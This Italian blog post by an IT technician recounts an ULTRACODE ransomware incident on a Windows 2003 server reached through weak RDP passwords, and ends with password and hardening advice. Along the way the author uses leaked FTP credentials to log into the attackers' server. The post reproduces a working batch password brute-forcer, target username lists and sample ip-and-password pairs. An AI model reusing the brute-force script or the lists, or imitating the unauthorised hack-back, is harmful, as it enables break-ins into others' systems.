giovedì 24 aprile 2014

O merda! l' ULTRACODE!

Qualche giorno fa, durante i miei normali servigi di tennico, mi imbattei in una chiamata che mi allarmò non poco, tutti i file documenti posti sul server del cliente erano stati criptati ed avevano estensione .ULTRACODE, conoscevo già il problema e onestamente sudai un poco freddo, poiché non sapevo se il cliente avesse o meno i backup aggiornati...

Lo scenario prevede che il server sia un Windows 2003 qualsiasi edizione, con porta dekstop remoto attiva su 3389 e password relativamente debole.

Una volta collegatomi al server lo sgomento, era tutto inaccessibile, per riavere i file il cripter lascia un .txt in bella mostra sparso in ogni dove, con scritto (la copia schermo non è presa da quel server, rimossi tutti i file prima ancora di conservarne copia):

Accertatomi del problema ho prima di tutto modificato la password di administrator, disattivando eventuali utenti normalmente non presenti (tipicamente hanno nomi strani o abbozzi di nomi), verificando il registro eventi noto diversi tentativi di accesso non riusciti e strane disconnessioni, una volta isolato gli accessi dall'esterno modificando la porta di rdp dalla classica 3389 ad una non standard, potevo ritenermi abbastanza al sicuro dagli accessi non desiderati e concentrarmi sul recupero dei file.

La situazione era la seguente e non era rassicurante:

Non male vero? Considerate che questi sono solo il 2% di tutti i file...Ad ogni modo, ho recuperato i backup, cancellati tutti i file .ULTRACODE e fatto riprendere a lavorare il cliente con lievi problemi tutto sommato gestibili, ma qui entra in ballo la curiosità, come cavolo funziona tutto questo? Gironzolando sul server, trovo un file, "ftp_" aprendolo con il blocco note trovo dati interessanti:

open xxx.xx.xxx.xxx  
user logs logs++  
binary  
get /files/GoogleChromePortable_33.0.1750.117_online.paf.exe  
bye  

Ho volutamente occultato l'ip per evitare che magari qualcuno ci faccia un giro dentro, non si sa mai, come potete notare è presente un login completo di password, lancio un veloce ftp verso l'ip in questione ed accedo tranquillamente sfogliandone il contenuto:


Notando che ero connesso ad una box linux, avvio il fido putty e mi connetto in ssh, ottenendo una funzionale shell su una Ubuntu 10.30

Tramite un $dmesg|more scopro di essere su un server virtuale, facilmente individuabile tramite controlli incrociati di route e di whois dalle parti degli Stati Uniti, presso un provider che offre servizi in cloud (un po come il nostro Aruba)...già cosi sarebbe possibile denunciare il proprietario e tutto il cucuzzaro...


Avendo cosi un accesso remoto, inizio a gironzolare a casa di questi tizi che si divertono a criptare i file, scopro parecchie cose, tra cui tutta una serie di tool di cui si avvalgono per craccare i server terminal, in questo caso utilizzano un software per il remote cracking chiamato du_brute, il software analizza a tentativi migliaia di password, molte le genera (quelle numeriche) molte altre invece fanno parte di un cosi detto attacco a dizionario:

Che voi siate italiani, francesi, spagnoli poco importa, i dizionari ci sono per tutti i gusti...una cosa degna di nota, i super user di cui si testa la password di accesso nel caso di noi italiani sono i seguenti:

amministratore
admin
utente
test
nome utente
direttore
direttore1
amministratori
finestre

Non chiedetemi perché sia ipotizzato che un utente possa chiamarsi 'finestre' ma sappiate che tra i nostri clienti, uno effettivamente esiste(va)...non che quelli inglesi siano meglio....

administrator
Admin
user
user1
user2
user3
test
test1
test2
test3
guest
manager
username

Ad ogni modo, le password testate udite udite, oltre quelle a dizionario, sono previste anche quelle complesse e con complesse intendo cose del tipo: @cc3ss0c0ns3nt1t0 che a scriverla ogni volta già alla terza ve la fate cambiare in 12345678, praticamente gliela date aperta già dopo 2 secondi!









Per scoprire le password di accesso, il server remoto si avvale anche di semplici script e programmini di cui potete vederne l'elenco direttamente sfogliandolo da remoto, uno di questi è un semplice script che si appoggia ad un eseguibile auth.exe (1.bat):

'@echo off

for /l %%x in (1, 1, 100000) do (
  echo 'pass: %%x'
  for /f "tokens=2 delims= " %%i in ('auth.exe /d:%userdomain% /u:%1 /p:%1%%x') do (
    if "%%i"=="Successful." (
      echo "PASSWORD IS: %%x"
      echo %%x > password.txt
      pause
      exit 0
    )
  )
)
pause

Testa di continuo l'autenticazione, ed una volta ottenuta quella valida la trascrive in un file di testo dall'esplicativo nome password.txt, con queste informazioni, l'attaccante può effettivamente scoprire le password del server remoto e fare quello che gli pare...tutte le informazioni vengono poi salvate sul questa linux box sotto forma di semplice file di testo composto da indirizzo_ip@password, come ad esempio:

2.45.237.23@administrator;
2.120.241.11@administrator;12347890p;/
2.223.2.17@administrator;n01
2.276.1.90@administrator;apcoapd
2.211.24.64@administrator;fasher0123
2.2.124.2@administrator;password
5.9.19.26@administrator;accc
31.19.99.19@administrator;

Belle vero? ps: gli indirizzi ip inutile che provate, non sono quelli reali, sono inventati da me, cosi come le password...forse.

Una volta ottenuto l'accesso, il simpatico amico, inizia a scaricare versioni portatili di GoogleChrome e di MozillaFirefox, il motivo è presto detto, sui server generalmente Internet Explorer è protetto da policy tanto rompiscatole che non è possibile usarlo, ma Chrome e Firefox quelli sono tranquillamente utilizzabili e scaricano di tutto. A questo punto, una volta dentro, vengono salvate diverse copie schermo del server violato, probabilmente per capire i momenti migliori per collegarsi, è palese il motivo, se l'attacco prevede il loggarsi con credenziali attive, e l'utente è già connesso, quest'ultimo potrebbe accorgersene, l'attacco prevede quindi una fase di "studio", dove si cerca di capire quando è il momento migliore. Infatti tra i vari "log" trovati vi sono diverse directory associate all'indirizzo IP violato, con tante copie schermo suddivise per orari, una volta chiaro che il legittimo proprietario ad una ora X della giornata non sarà loggato, si potrà pianificare l'accesso per criptare i file e richiedere il famoso riscatto con cui ho iniziato l'articolo :)
Interessante anche il fatto che buona parte degli indirizzi ip corrisponda a dei normali Windows client...se poi tra le copie schermo uno risale alla cronologia...e scopre che magari le password sono usate per qualche conto corrente?



Spero di essere stato utile a fare capire quanto sia importante utilizzare:

1) Password sicure, e con sicure intendo veramente inventate, generate anche da un semplice calcolo che solo noi possiamo fare.
2) MAI lasciare i server accessibili ad ogni tipo di utente, solo l'utente amministratore deve potevi accedere!
3) Possibilmente rinominare Administrator magari in 'rortartsinimda'.
4) Cambiare le porte predefinite per le connessioni remote.
5) Utilizzare antivirus aggiornati, gran parte dei server violati erano con antivirus scaduto, o addirittura senza antivirus, l'esserci un antivirus a prescindere non garantisce che non vi siano violazioni di accesso se mancano i punti sopra elencati.
6) Quando ripulite un sistema attaccato...CAMBIATE LA PASSWORD LO STESSO, praticamente tutti i sistemi sono già stati ripristinati, ma mantengono tutti le stesse password violate!

Ed un ultimo consiglio, fatevi aiutare da un vero tennico, non da vostro cugino, con lui giocateci a calcetto.

By3




Nessun commento:

Posta un commento